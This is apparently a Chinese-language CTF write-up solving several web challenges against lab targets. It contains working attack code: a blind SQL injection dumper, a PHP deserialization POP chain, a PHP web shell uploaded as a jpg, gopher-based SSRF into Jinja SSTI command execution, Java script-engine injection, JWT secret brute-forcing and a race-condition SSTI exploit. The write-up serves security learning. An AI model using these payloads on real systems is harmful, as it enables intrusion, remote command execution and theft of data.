在瀏覽器網址列輸入時,被瀏覽器「自動 normalize」
有些瀏覽器/代理會把 %2f 解成 / 再送出。
直接用 double url encoding
沒問題了
php://filter/read=zlib.deflate/resource=/flag
因為輸出是 deflate 壓縮過的二進位,直接噴終端機會亂掉。
1 curl "http://127.0.0.1:12649/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%33%64%25%37%61%25%36%63%25%36%39%25%36%32%25%32%65%25%36%34%25%36%35%25%36%36%25%36%63%25%36%31%25%37%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37" --output out.bin
5.白帽小 K 的故事(2) (复刻) sql來的:
用一用字典:
‘1’=’1 500
admin’ 500
1 SELECT 1 from Terra.animal WHERE name = '$name'
寫一個盲注腳本爆庫:
時間盲注來的 AND 1=1 和 1=2 都返回并没有这种干员
1 2 3 4 5 6 7 8 9 10 11 12 13 設定目標字串長度與字元範圍(如 ASCII 32 到 126) 對於 目標字串的每一個位置 (i = 1 到 N): 利用二分搜尋法尋找正確的 ASCII 碼: 構造包含邏輯判斷的 Payload (例如: 判斷第 i 個字元的 ASCII 是否大於 X) 發送 HTTP 請求給目標系統 如果是布林盲注: 檢查網頁內容是否包含特定「成功關鍵字」 如果是時間盲注: 檢查伺服器回應時間是否大於設定的閾值 (如 5 秒) 根據二元結果,縮小下一次猜測的 ASCII 範圍 將找到的字元拼接到最終結果中
exp:
二分搜尋法盲注腳本:
先爆庫:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import requestsimport stringimport timeurl = 'http://127.0.0.1:14233/search' result = '' for i in range (1 , 150 ): print (f'\n[+] Bruting at position {i} ' ) low = 1 high = 126 current_char_ascii = 0 while low <= high: time.sleep(0.05 ) mid = (low + high) // 2 print (f'\r[+] Trying ASCII: {mid} ' , end='' , flush=True ) tables = f"(select(group_concat(schema_name))from(information_schema.schemata))" char = f'(ascii(substr({tables} ,{i} ,1)))' p = f"amiya'and({char} >{mid} )and'1'='1" res = requests.post(url, data={'name' : p}) if res.json().get("status" ) == "ok" : low = mid + 1 else : p_equal = f"amiya'and({char} ={mid} )and'1'='1" res_equal = requests.post(url, data={'name' : p_equal}) if res_equal.json().get("status" ) == "ok" : current_char_ascii = mid break high = mid - 1 if current_char_ascii == 0 : print (f'\n[+] 【全部資料表抓取完畢!】最終結果: {result} ' ) break else : actual_char = chr (current_char_ascii) result += actual_char print (f'\n[*] bingo: {actual_char} ' ) print (f'[->] Current Table List: {result} ' )
[+] Bruting at position 59 [+] Trying ASCII: 15 [+] 【全部資料表抓取完畢!】最終結果: mysql,information_schema,performance_schema,sys,Terra,Flag
1 2 3 4 tables = f"(select(group_concat(schema_name))from(information_schema.schemata))" tables = f"(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(\"Flag\")))" tables = f"(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(\"flag\")))" tables = f"(select(group_concat(flag))from(Flag.flag))"
[+] Bruting at position 43 [+] Trying ASCII: 15 [+] 【全部資料表抓取完畢!】最終結果: flag{b4298f32-d81f-c4a0-5c85-83d09422edd9}
Week4 1.小羊走迷宫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include "flag.php" ;error_reporting (0 );class startPoint { public $direction ; function __wakeup ( ) { echo "gogogo出发咯 " ; $way = $this ->direction; return $way (); } } class Treasure { protected $door ; protected $chest ; function __get ($arg ) { echo "拿到钥匙咯,开门! " ; $this -> door -> open (); } function __toString ( ) { echo "小羊真可爱! " ; return $this -> chest -> key; } } class SaySomething { public $sth ; function __invoke ( ) { echo "说点什么呢 " ; return "说: " .$this ->sth; } } class endPoint { private $path ; function __call ($arg1 ,$arg2 ) { echo "到达终点!现在尝试获取flag吧" ."<br>" ; echo file_get_contents ($this ->path); } } if ($_GET ["ma_ze.path" ]){ unserialize (base64_decode ($_GET ["ma_ze.path" ])); }else { echo "这个变量名有点奇怪,要怎么传参呢?" ; } ?>
PHP中关于非法参数名传参问题 可以看見
1 2 3 4 5 6 if ($_GET ["ma_ze.path" ]){ unserialize (base64_decode ($_GET ["ma_ze.path" ])); }else { echo "这个变量名有点奇怪,要怎么传参呢?" ; }
GET傳參 unserialize(base64_decode($_GET[“ma_ze.path”]));
https://blog.csdn.net/mochu7777777/article/details/115050295
第一關 get 參數, Payload如下:
?mo[chu.7=xxx
POP鏈 先找入口出口 , __wakeup() , 首先会调用startPoint的__wakeup,因为它有__wakeup方法
public $direction;
public $sth;
只有這兩個可用的變量
其他都是protected 和 private
1 2 3 (Treasure类的$door和$door和door和 door和chest属性是protected的,不能直接访问。 我们需要使用反射或者手动构造序列化字符串)
我們來POP链构造:
start->direction=say
say->sth = t2
t2……
t1…..
end……
的反轉
省流php代碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class startPoint { public $direction ; } class SaySomething { public $sth ; } class Treasure { protected $door ; protected $chest ; } class endPoint { private $path ; } $endpoint = new endPoint ();$treasure1 = new Treasure ();$treasure2 = new Treasure ();$say = new SaySomething ();$start = new startPoint ();$reflection = new ReflectionClass ($endpoint );$property = $reflection ->getProperty ('path' );$property ->setAccessible (true );$property ->setValue ($endpoint , "./flag.php" );$reflectionTreasure = new ReflectionClass ($treasure1 );$propertyDoor = $reflectionTreasure ->getProperty ('door' );$propertyDoor ->setAccessible (true );$propertyDoor ->setValue ($treasure1 , $endpoint );$propertyChest = $reflectionTreasure ->getProperty ('chest' );$propertyChest ->setAccessible (true );$propertyChest ->setValue ($treasure2 , $treasure1 );$say ->sth = $treasure2 ;$start ->direction = $say ;$payload = serialize ($start );echo "Payload: " . base64_encode ($payload ) . "\n" ;echo "URL: ?ma_ze.path=" . urlencode (base64_encode ($payload )) . "\n" ;?>
可以先試試 say “i am gay” , 看看 start 能不能echo “说点什么呢 “. “说: “.”i am gay”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class startPoint { public $direction ; } class SaySomething { public $sth ; } class Treasure { protected $door ; protected $chest ; } class endPoint { private $path ; } $a = new startPoint () ;$b = new SaySomething () ;$b ->sth = "i am gay " ;$a ->direction = $b ;echo urlencode (base64_encode (serialize ($a )))?>
TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO3M6OToiaSBhbSBnYXkgIjt9fQ%3D%3D
看來沒有打印 , 可以看見say函數是return $this->sth ;
我應該要令它= t2 ,
t2->chest = t1;
t1->door = end
end -> path = “./flag.php”
所以大概是這樣子的:
1 2 3 4 5 6 7 8 9 10 11 12 13 $end = new endPoint (); $t1 = new Treasure (); $t2 = new Treasure (); $say = new SaySomething (); $start = new startPoint (); $end ->path = "./flag.php" ; $t1 ->door = $end ; $t2 ->chest = $t1 ; $say ->sth = $t2 ; $start ->direction = $say ;
但是有一個問題t1 t2 end 不是public 的参數 , 此時我們需要反射或者手动构造序列化字符串
deepseek給了一個例子了 , 抄它的了 , 把變量名字寫清楚如上 , 最後flag在回應裹。
2.武功秘籍 dirsearch一下:
發現admin admin 能登入 , 有一個上傳文件的地方 :
看看BP抓包能不恃能修改:
Content-Type: application/octet-stream是不能上傳的, 這裹先把它改成text/plain
把文件改成tpl.config , 成功上傳
url/dcr/tpl_import_action.php
還有在新闻中心發現可以上傳文件
先添加分类 1234
添加新闻 , 選擇jpg的payload , payload如下 , 然後改成jpg檔
1 2 3 4 5 6 7 8 9 10 11 <?php @error_reporting (0 ); if (isset ($_REQUEST ['cmd' ])){ echo "<pre>" ; $cmd = ($_REQUEST ['cmd' ]); system ($cmd ); echo "</pre>" ; }else { phpinfo (); } ?>
最後在文件管理器/upload/new/…./找到jpg檔把它重新命名為php檔:
成功fuzz了!!!!!!
3.ssti在哪里?(复刻) 服务端请求伪造(Server-Side Request Forgery, SSRF),是指构造 Payload 让服务端去发送一个请求,由于服务端位于内网,往往能通过 SSRF 攻击内网靶标。漏洞的核心在于通过构造请求,使已被控制的服务器发送任意请求到后端内容。
如果你对 SSRF 完全不了解,你可以查看 Drunkbaby 师傅总结的 从 0 到 1 完全掌握 SSRF 来进行学习。
看了看源碼,這是一個非常經典的單容器多服務
有curl_exec();
同一個容器內其實同時跑了 3 個 Web 服務:
5000
5001
php主頁
向5001發一個POST template , 因為是SSRF , 所以要用一些协议
payload:
(POST) $\rightarrow$ 外網 PHP (SSRF) $\rightarrow$ app.py (5000埠 POST) $\rightarrow$ internal_web.py (5001埠 SSTI)->Jinja SSTI
url=http://127.0.0.1:5000/&name= 49 試了試:
1 2 3 4 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN" > <title > 500 Internal Server Error</title > <h1 > Internal Server Error</h1 > <p > The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p >
500了
先了解dict协议 : redis 与 dict 协议
Gopher SSRF的危险协议
Gopher 協議(Gopher protocol)在互聯網歷史上是個老古董,早在 HTTP 流行之前,它是用來在互聯網上查找和檢索文件的。Gopher 允許我們發送任意格式的 TCP 數據流。
當你在打 SSRF 時,通常你只能控制一個 URL。如果你用 http:// 協議,後端的 cURL 預設只會幫你發送一個標準的 GET 請求 。但如果內網的服務(比如這題的 internal_web.py,它需要接收 template 參數)死活只收 POST 表單請求時 ,單純的 http:// 就廢了
源碼只收POST表單:
用 gopher:// 協議,從零開始「手捏」一個完整的 HTTP POST 數據包,包含 Header、換行符、甚至 Body,然後讓受害伺服器的 cURL 把這坨自定義的數據原封不動地透過 TCP 丟給內網服務。
它的標準格式是:
1 gopher://<目標IP > :<目標端口 > /_<你的原始數據 >
先學一學gopher 的用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 import urllib.parsepost_data = "template={{7*7}}" content_length = len (post_data) gopher_payload = f"""POST / HTTP/1.1 Host: localhost:5001 Content-Type: application/x-www-form-urlencoded Content-Length: {content_length} {post_data} """gopher_payload = gopher_payload.replace("\n" , "\r\n" ) gopher_url = "gopher://localhost:5001/_" + urllib.parse.quote(gopher_payload) print (gopher_url)
SSTI 沒問題:
試一試os 能不能ls :
1 {{config.__class__.__init__.__globals__['os' ].popen('ls' ).read()}}
app.py internal_web.py requirements.txt start.sh
ls /
後面就可以cat flag 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import urllib.parsepost_data = "template={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" content_length = len (post_data) gopher_payload = f"""POST / HTTP/1.1 Host: 127.0.0.1:5001 Content-Type: application/x-www-form-urlencoded Content-Length: {content_length} {post_data} """gopher_payload = gopher_payload.replace("\n" , "\r\n" ) gopher_url = "gopher://localhost:5001/_" + urllib.parse.quote(gopher_payload) print (gopher_url)
4. Week5 1.眼熟的计算器 這是一個用java寫的計算器 , 看看jar , 改成zip 解壓:
用jadx打開 , 可以找到:
測試一下 java可不可以注入:
Java.type(‘java.lang.String’)
測試全局對象:
Object.keys(this)
Object.getOwnPropertyNames(this)
測試內置對象:
Math.PI
new Date().toString()
JSON.stringify({test: 123})
字符串操作:
‘hello’.length
‘hello’ + ‘ world’
數組操作:
函數操作:
(function(){return 123})()
測試eval和Function:
eval(‘1+1’)
Function(‘return 789’)()
編碼函數:
btoa(‘hello’)
atob(‘aGVsbG8=’)
encodeURI(‘hello world’)
decodeURI(‘hello%20world’)
原型鏈:
Object.prototype
Object.constructor
特殊對象:
環境變量:
process && process.env
global
Node.js對象:
typeof require
module
exports
用ai生成黑名單關鍵字爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 javascript java lang Runtime getRuntime exec ProcessBuilder start Class forName getMethod invoke System getProperty getenv File Scanner BufferedReader FileReader InputStream OutputStream read write reflect Method Field Constructor cmd sh bash powershell command cat flag ls pwd whoami id eval Function setTimeout setInterval decodeURI decodeURIComponent atob btoa String fromCharCode charCodeAt import require include load window document location navigator this global self top . ( ) [ ] { } ' " ` $ & * + - / \ |
測試JavaScript全局對象:
1 攔截: `Runtime`, `ProcessBuilder`, `exec()`, `start()`, 反射方法
用字符串拼接 eval 是 200 : val(‘jav’ + ‘a.lang.Runt’ + ‘ime.getRunt’ + ‘ime().exec(“ls”)’)
點號組合好像是沒有問題的
java . lang
使用Java的Files.readAllLines()方法成功讀取了flag文件:
Files類的特殊性:
java.nio.file.Files 是Java 7引入的新API
主要用於文件操作,不是典型的命令執行類
方法名 readAllLines 看起來像是安全的文件讀取操作
java.nio.file.Files.readAllLines(java.nio.file.Paths.get(‘/flag’)).get(0)
2.废弃的网站 先看看条件竞争這個概念:
https://zhuanlan.zhihu.com/p/403063546#:~:text=%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E6%BC%8F%E6%B4%9E%EF%BC%88Race%20condition,%E8%84%8F%E7%89%9B%EF%BC%88dirty%20cow%EF%BC%89%E3%80%82
看看app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from flask import Flask, request, render_template, abort, redirect, render_template_stringimport jwt, hashlib, timeapp = Flask(__name__) time_started = round (time.time()) print (f"System started at {time_started} " )APP_SECRET = hashlib.sha256(str (time_started).encode()).hexdigest() tempuser = None USER_DB = { "admin" : {"id" : 1 , "role" : "admin" , "name" : "Administrator" }, "guest" : {"id" : 2 , "role" : "guest" , "name" : "Guest User" }, } def admin_required (f ): def wrapper (*args, **kwargs ): cookie = request.cookies.get('session' , None ) if cookie is None : response = redirect('/' ) session = jwt.encode(USER_DB['guest' ], APP_SECRET, algorithm='HS256' ) response.set_cookie('session' , session) return response try : user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256' ]) if user_data['role' ] != 'admin' : abort(403 , description="Admin access required." ) if user_data['name' ] != 'Administrator' : abort(403 , description="Admin access required." ) time.sleep(0.15 ) except jwt.InvalidTokenError: abort(401 , description = f"Session expired. Please log in again. System has been running {round (time.time() - time_started)} seconds." ) return f(*args, **kwargs) wrapper.__name__ = f.__name__ return wrapper @app.before_request def load_user (): if request.endpoint == 'static' : return global tempuser cookie = request.cookies.get('session' , None ) if cookie is None : tempuser = USER_DB['guest' ] session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256' ) response = redirect(request.path) response.set_cookie('session' , session) return response try : user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256' ]) tempuser = user_data except jwt.InvalidTokenError: session = jwt.encode(USER_DB['guest' ], APP_SECRET, algorithm='HS256' ) content = render_template_string( "Session expired. Please log in again. System has been running %d seconds." % (round (time.time() - time_started)) ) response = app.make_response((content, 401 )) response.set_cookie('session' , session) return response @app.route('/' , methods=['GET' ] ) def home (): return render_template('index.html' ) @app.route("/admin" , methods=['GET' ] ) @admin_required def admin_panel (): global tempuser return render_template_string("Welcome Back, %s" % tempuser['name' ]) @app.route("/static/<path:filename>" , methods=['GET' ] ) def serve_static (filename ): if not filename.endswith('.png' ): abort(403 , description="Only .png files are allowed." ) return app.send_static_file(filename) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=5000 )
可以看見這兩用戶的DB
這個是一開始打開網站時會發出來的
我們可以在cookie下找到guest的token
token的結構是jwt , 我們可以在jwt.io看看:
https://www.jwt.io/
上面是加密方式,中間是身份信息,後面是secret , 我現在要找到secret并偽造admin的token
以下是python腳本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsimport jwtimport hashlibimport timeurl = "http://8.147.132.32:24750/" session = requests.Session() session.verify = False print ("正在寻找网站密钥..." )try : r = session.get(url + '/admin' , cookies={'session' : 'invalid' }) print ("获取错误信息..." ) if 'System has been running' in r.text: import re match = re.search(r'System has been running (\d+) seconds' , r.text) if match : uptime = int (match .group(1 )) print (f"网站运行了: {uptime} 秒" ) current_time = int (time.time()) time_started = current_time - uptime print (f"网站启动时间大约是: {time_started} " ) print ("正在尝试可能的密钥..." ) for ts in range (time_started - 300 , time_started + 300 ): secret = hashlib.sha256(str (ts).encode()).hexdigest() try : guest_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imd1ZXN0IiwibmFtZSI6Ikd1ZXN0IFVzZXIifQ.C7nbrf18MKTAzyZRtBdgid4DO2ug6W8ApHIfR8tCbAE" decoded = jwt.decode(guest_token, secret, algorithms=['HS256' ]) print ("找到密钥了!" ) print (f"启动时间戳: {ts} " ) print (f"密钥: {secret} " ) admin_data = { "id" : 1 , "role" : "admin" , "name" : "Administrator" } admin_token = jwt.encode(admin_data, secret, algorithm='HS256' ) print (f"🪪 管理员Token: {admin_token} " ) r = session.get(url + '/admin' , cookies={'session' : admin_token}) if r.status_code == 200 : print ("成功进入管理员页面!" ) print ("现在可以用这个密钥做SSTI攻击了" ) break except : if ts % 100 == 0 : print (f"尝试中... {ts} " ) continue else : print ("没有找到运行时间信息" ) except Exception as e: print (f"错误: {e} " )
最後找到了 , 但是在/admin沒有找到flag , /admin/都沒有 , 這裹要在/admin的Welcome Back, {???} 進行ssti注入 , cat /flag* , 以下為ssti的命令:
1 {{request.application.__globals__.__builtins__.__import__ ('os' ).popen('cat /flag*' ).read()}}
但是只是這樣是不可以拿到flag的, 我要通过大量guest请求修改了全局的tempuser变量 , 将恶意SSTI payload注入到tempuser[‘name’]字段 , 在admin检查通过后、实际渲染前 , 成功将tempuser替换为包含SSTI payload的guest用户数据
線程1: Guest請求洪水攻擊
1 2 3 4 5 6 7 def flood_guest (): nonlocal success while not success: try : requests.get(url, cookies={'session' : malicious_token}, timeout=0.1 ) except : pass
線程2: Admin請求嘗試
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def try_admin (): nonlocal success for i in range (50 ): if success: break try : r = requests.get(url + '/admin' , cookies={'session' : admin_token}, timeout=1 ) if "flag" in r.text or "{" in r.text: print (f"[SUCCESS] 找到flag: {r.text} " ) success = True break except : pass
然後:
1 2 3 4 5 6 7 8 t1 = threading.Thread(target=flood_guest) t2 = threading.Thread(target=try_admin) t1.start() t2.start() t2.join() t1.join()
最後腳本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requestsimport threadingimport timeurl = "http://8.147.132.32:24750/" secret = "812f7d41b298c20d8cb041daaa8c142b181838821de5647ad29fa4ef79c084f7" def precise_race_attack (): import jwt malicious_guest = { "id" : 2 , "role" : "guest" , "name" : "{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}" } malicious_token = jwt.encode(malicious_guest, secret, algorithm='HS256' ) admin_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6ImFkbWluIiwibmFtZSI6IkFkbWluaXN0cmF0b3IifQ.LxCAaYZoEHhEzz26avKldy1azGXTX_XKQNBtSLn9QgY" success = False def flood_guest (): nonlocal success while not success: try : requests.get(url, cookies={'session' : malicious_token}, timeout=0.1 ) except : pass def try_admin (): nonlocal success for i in range (50 ): if success: break try : r = requests.get(url + '/admin' , cookies={'session' : admin_token}, timeout=1 ) if "flag" in r.text or "{" in r.text: print (f"[SUCCESS] 找到flag: {r.text} " ) success = True break elif "Welcome Back, {{" in r.text: print (f"[!] SSTI触发但未成功: {r.text[:100 ]} " ) except : pass print ("[*] 启动精确竞争攻击..." ) t1 = threading.Thread(target=flood_guest) t2 = threading.Thread(target=try_admin) t1.start() t2.start() t2.join() t1.join() precise_race_attack()